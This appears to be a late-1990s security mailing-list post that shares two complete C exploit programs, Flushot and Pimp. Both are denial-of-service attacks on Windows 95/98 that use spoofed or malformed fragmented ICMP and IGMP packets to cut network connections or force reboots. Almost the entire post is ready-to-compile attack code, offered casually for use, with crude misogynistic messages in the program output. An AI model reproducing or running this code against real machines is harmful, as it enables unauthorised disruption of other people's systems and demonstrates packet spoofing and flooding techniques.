About IGMP and another exploit for Windows95x/98x

[darksun () COMPUTER-MANIACS COM (Hector Leon)]

I got two exploit and test it...

- The first one is Flushot by DarkShow. This exploit can drop the network connection in windows 95 and 98(First Edition)

- The other one is Pimp by Rob Mosher, this exploit can reboot Windows98se

I have Rethat linux 5.0 installed....

Now... the exploits..

Sorry.. my english is a shit...

Have fun..

----------[FluSHOT.c START CUT HERE]--------------------------------------------------
/* Lags CPU Made By DarkShadow from The flu Hacking Group

   Kills Win95-98 machines

 */

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

void banner(void) {

        

   printf("Remote Flushot v 1.0\n\n");

   

   

   printf("\n\n");

}

void usage(const char *progname) {

   printf(" usage:\n");

   printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to Send]\n",progname);

   printf(" [Spoofed IP] :  ex: 205.56.78.0\n");

   printf(" [Destination IP] :  ex: 201.12.3.76\n");

   printf(" [# of FLushot to Send]  : 100\n");

   printf("The Flu Hacking Group (c)\n");

   printf("DarkShadow PlimoMan Hack The Planet\n");

}

int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {

   struct hostent *host;

   memset(addr,0,sizeof(struct sockaddr_in));

   addr->sin_family = AF_INET;

   addr->sin_addr.s_addr = inet_addr(name);

   if (addr->sin_addr.s_addr == -1) {

      if (( host = gethostbyname(name) ) == NULL )  {

         fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);

         return(-1);

      }

      addr->sin_family = host->h_addrtype;

      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

   }

   addr->sin_port = htons(port);

   return(0);

}

unsigned short in_cksum(addr, len)

    u_short *addr;

    int len;

{

    register int nleft = len;

    register u_short *w = addr;

    register int sum = 0;

    u_short answer = 0;

    while (nleft > 1)  {

        sum += *w++;

        nleft -= 2;

    }

    if (nleft == 1) {

        *(u_char *)(&answer) = *(u_char *)w ;

        sum += answer;

    }

    sum = (sum >> 16) + (sum & 0xffff);

    sum += (sum >> 16);                 

    answer = ~sum;                      

    return(answer);

}

int send_winbomb(int socket,

                 unsigned long spoof_addr,

                 struct sockaddr_in *dest_addr) {

   unsigned char  *packet;

   struct iphdr   *ip;

   struct icmphdr *icmp;

   int rc;

   packet = (unsigned char *)malloc(sizeof(struct iphdr) +

                                    sizeof(struct icmphdr) + 8);

   ip = (struct iphdr *)packet;

   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

   memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

   ip->ihl      = 5;

   ip->version  = 4;

// ip->tos      = 2;

   ip->id       = htons(1234);

   ip->frag_off |= htons(0x2000);

// ip->tot_len  = 0;

   ip->ttl      = 30;

   ip->protocol = IPPROTO_ICMP;

   ip->saddr    = spoof_addr;

   ip->daddr    = dest_addr->sin_addr.s_addr;

   ip->check    = in_cksum(ip, sizeof(struct iphdr));

   icmp->type              = 12;

   icmp->code              = 0;

   icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);

   if (sendto(socket,

              packet,

              sizeof(struct iphdr) +

              sizeof(struct icmphdr) + 1,0,

              (struct sockaddr *)dest_addr,

              sizeof(struct sockaddr)) == -1) { return(-1); }

   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

   ip->frag_off = htons(8 >> 3);

   ip->frag_off |= htons(0x2000);

   ip->check    = in_cksum(ip, sizeof(struct iphdr));

   icmp->type = 0;

   icmp->code = 0;

   icmp->checksum = 0;

   if (sendto(socket,

              packet,

              sizeof(struct iphdr) +

              sizeof(struct icmphdr) + 8,0,

              (struct sockaddr *)dest_addr,

              sizeof(struct sockaddr)) == -1) { return(-1); }

   free(packet);

   return(0);

}

int main(int argc, char * *argv) {

   struct sockaddr_in dest_addr;

   unsigned int i,sock;

   unsigned long src_addr;

   banner();

   if ((argc != 4)) {

      usage(argv[0]);

      return(-1);

   }

   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {

      fprintf(stderr,"ERROR: Opening raw socket.\n");

      return(-1);

   }

   if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }

   src_addr = dest_addr.sin_addr.s_addr;

   if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }

   printf("Status: Connected....packets sent.\n",argv[0]);

   for (i = 0;i < atoi(argv[3]);i++) {

      if (send_winbomb(sock,

                       src_addr,

                       &dest_addr) == -1) {

         fprintf(stderr,"ERROR: Unable to Connect To luser.\n");

         return(-1);

      }

      usleep(10000);

   }

}

----------[FluSHOT.c END CUT HERE]--------------------------------------------------
----------[Pimp.c START CUT HERE]--------------------------------------------------
/*
** pimp.c 6/4/99 by Rob Mosher: nyt () deadpig org
** exploits bug in m$'s ip stack
** rewrite by ** rewrite by nyt@EFnet
** bug found by klepto
** usage: pimp <host>
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/socket.h>

struct igmp
{
        unsigned char igmp_type;
        unsigned char igmp_code;
        unsigned short igmp_cksum;
        struct in_addr igmp_group;
};

#define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);}

u_long  resolve(char *);

int main(int argc, char *argv[])
{
 int nsock, ctr;
 char *pkt, *data;
 struct ip *nip;
 struct igmp *nigmp;
 struct sockaddr_in s_addr_in;

 setvbuf(stdout, NULL, _IONBF, 0);

 printf("pimp.c by nyt\n");

 if(argc != 2)
  ERROR("usage: pimp <host>");

 if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  ERROR("could not create raw socket");

 pkt = malloc(1500);
 if(!pkt)
  ERROR("could not allocate memory");

 memset(&s_addr_in, 0, sizeof(s_addr_in));
 memset(pkt, 0, 1500);

 nip = (struct ip *) pkt;
 nigmp = (struct igmp *) (pkt + sizeof(struct ip));
 data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
 memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp)));

 s_addr_in.sin_addr.s_addr = resolve(argv[1]);

 nip->ip_v  = 4;
 nip->ip_hl  = 5;
 nip->ip_tos  = 0;
 nip->ip_id  = 69;
 nip->ip_ttl  = 255;
 nip->ip_p  = IPPROTO_IGMP;
 nip->ip_sum  = 0;
 nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
 nip->ip_src.s_addr = 2147100000;
 nigmp->igmp_type = 2;
 nigmp->igmp_code = 31;
 nigmp->igmp_cksum = 0;

 inet_aton("128.1.1.1", &nigmp->igmp_group);

 printf("pimpin' dem trick-ass-bitches");

 for(ctr = 0;ctr < 15;ctr++)
 {
  printf(".");
  nip->ip_len  = 1500;
  nip->ip_off  = htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_off  = htons(1480/8)|htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_off  = htons(5920/8)|htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_len   = 831;
  nip->ip_off  = htons(7400/8);
  sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  usleep(500000);
 }

 printf("*slap* *slap* bitch, who yo daddy\n");
 shutdown(nsock, 2);
 close(nsock);
}

u_long resolve(char *host)
{
        struct hostent *he;
        u_long ret;

        if(!(he = gethostbyname(host)))
        {
                herror("gethostbyname()");
                exit(-1);
        }
        memcpy(&ret, he->h_addr, sizeof(he->h_addr));
        return ret;
}

----------[Pimp.c END CUT HERE]--------------------------------------------------

--             Hector Leon             --
darksun () computer-maniacs com
--CiMOS Computers Rep. Dom.--